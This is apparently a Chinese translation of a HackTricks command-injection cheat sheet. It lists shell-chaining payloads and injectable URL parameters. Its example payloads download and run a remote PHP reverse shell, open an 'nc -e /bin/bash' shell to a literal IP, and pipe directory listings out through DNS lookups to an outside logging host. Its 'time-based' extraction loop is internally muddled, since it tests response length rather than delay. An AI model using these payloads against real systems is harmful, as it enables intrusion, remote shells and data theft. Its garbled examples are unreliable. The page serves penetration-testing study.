hacktricks/pentesting-web/command-injection.md

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命令注入

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什么是命令注入?

操作系统命令注入也称为shell注入是一种Web安全漏洞允许攻击者在运行应用程序的服务器上执行任意操作系统OS命令并通常完全破坏应用程序及其所有数据。来自这里)。

上下文

根据你的输入被注入的位置,你可能需要在命令之前终止引用的上下文(使用"')。

命令注入/执行

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

限制绕过

如果你想在Linux机器上执行任意命令你会对以下绕过方法感兴趣

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

示例

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

参数

以下是可能容易受到代码注入和类似远程命令执行RCE漏洞攻击的前25个参数来自链接

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

基于时间的数据泄露

逐个字符提取数据

# Extracting data: char by char
# 提取数据:逐个字符

In some cases, command injection vulnerabilities may allow an attacker to extract sensitive data from a target system. One technique for extracting data is to do it character by character, using time delays to determine the value of each character.

在某些情况下,命令注入漏洞可能允许攻击者从目标系统中提取敏感数据。一种提取数据的技术是逐个字符进行,使用时间延迟来确定每个字符的值。

The idea behind this technique is to inject a command that will cause a time delay if a certain condition is met. By injecting a command that iterates through all possible characters and checking the response time, an attacker can determine the value of each character in the target data.

这种技术的思想是注入一个命令,如果满足某个条件,就会导致时间延迟。通过注入一个遍历所有可能字符并检查响应时间的命令,攻击者可以确定目标数据中每个字符的值。

Here is an example of how this technique can be used to extract data character by character:

以下是使用这种技术逐个字符提取数据的示例:

# Extracting data character by character
# 逐个字符提取数据
for i in {1..20}; do
    for c in {a..z} {A..Z} {0..9} _; do
        response=$(curl -s "http://example.com/?input=$(echo -n "SELECT column FROM table WHERE condition AND SUBSTRING(data,$i,1)='$c'" | base64)")
        if [ $(expr length "$response") -gt 5 ]; then
            echo -n $c
            break
        fi
    done
done

In this example, the attacker is injecting a command that iterates through all possible characters (lowercase letters, uppercase letters, numbers, and underscore) and checks the response time. If the response time is greater than 5 (indicating a successful match), the character is printed out and the loop moves on to the next character.

在这个示例中攻击者注入了一个命令该命令遍历所有可能的字符小写字母、大写字母、数字和下划线并检查响应时间。如果响应时间大于5表示成功匹配则打印出该字符并继续循环下一个字符。

By repeating this process for each character in the target data, the attacker can gradually extract the entire data set.

通过对目标数据中的每个字符重复此过程,攻击者可以逐步提取整个数据集。

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于DNS的数据泄露

基于https://github.com/HoLyVieR/dnsbin上的工具也托管在dnsbin.zhack.ca上。

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

在线工具检查基于DNS的数据泄露

  • dnsbin.zhack.ca
  • pingb.in

绕过过滤

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

References

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}

{% embed url="https://portswigger.net/web-security/os-command-injection" %}

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